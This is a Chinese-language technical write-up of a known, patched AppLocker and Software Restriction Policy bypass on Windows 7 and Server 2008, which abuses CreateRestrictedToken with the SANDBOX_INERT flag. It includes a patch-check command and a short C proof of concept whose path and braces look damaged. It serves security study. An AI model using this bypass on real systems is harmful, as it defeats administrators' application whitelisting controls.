绕过AppLocker系列之CreateRestrictedToken的利用
导语：大多数时候，绕过AppLocker都会利用可信的Microsoft二进制文件或者配置错误的策略进行代码执行，这些方法都比较简单。
大多数时候，绕过AppLocker都会利用可信的Microsoft二进制文件或者配置错误的策略进行代码执行，这些方法都比较简单。但是，我们还有一种通过利用架构设计的漏洞来绕过SPR或AppLocker。特别是在Windows 7和Windows 2008 Server环境中，可以滥用API函数（CreateRestrictedToken）来实现绕过。微软后来发布了一个补丁来解决这个问题。
从命令提示符可以轻易的识别出是否缺少这个补丁：
wmic.exe qfe list | findstr.exe 2532445
AppLocker修补程序丢失
因为没有输出任何内容，所以这表示KB2532445补丁并没有安装。直接尝试执行不受信任的二进制文件就会因为AppLocker的限制而运行失败。
有一个由Michael Bailey开发的PowerShell 脚本，它通过使用SANDBOX_INERT标志来利用API函数CreateRestrictedToken，以便可以允许执行二进制文件。由于该标志禁用了所有规则集合的检查，因此可以绕过AppLocker和软件限制策略。这个漏洞最初是由Didier Stevens发现的，并且在他的博客中进行了完整的记录。
AppLocker Bypass – CreateRestrictedToken
为什么会发生这样的情况呢？让我们来看看 MSDN 是如何定义CreateRestrictedToken这个 API函数的。关于CreateRestrictedToken 函数的SANDBOX_INERT标志，MSDN 有如下描述：
如果使用此值，系统将不会检查AppLocker规则或应用软件限制策略。对于AppLocker，此标志将禁用所有这四个规则集的检查：可执行文件，Windows Installer，脚本和DLL。
在安装过程中创建必须运行提取的DLL的安装程序时，请在SaferComputeTokenFromLevel函数中使用SAFER_TOKEN_MAKE_INERT标志。
我写了一个小的应用程序来进行测试：
HANDLE hToken;
HANDLE hNewToken;
PROCESS_INFORMATION sPI;
STARTUPINFO sSI;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
{
if (CreateRestrictedToken(hToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &hNewToken))
{
memset(&sSI, 0, sizeof(sSI));
sSI.cb = sizeof(sSI);
if (CreateProcessAsUser(hNewToken, L"c:testDialog42.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &sSI, &sPI))
{
puts("process created");
}
}
这个程序会启动另外一个程序——Dialog42.exe，我已经使用白名单配置了SRP，但是Dialog42.exe并不在白名单列表中：
但是，当我在我的应用程序中使用SANDBOX_INERT标志启动Dialog42.exe时，就可以正常运行。
参考
http://baileysoriginalirishtech.blogspot.co.uk/2015/06/applocker-schmapplocker.html
https://github.com/strictlymike/Invoke-SchmappLocker/blob/master/Invoke-SchmappLocker.ps1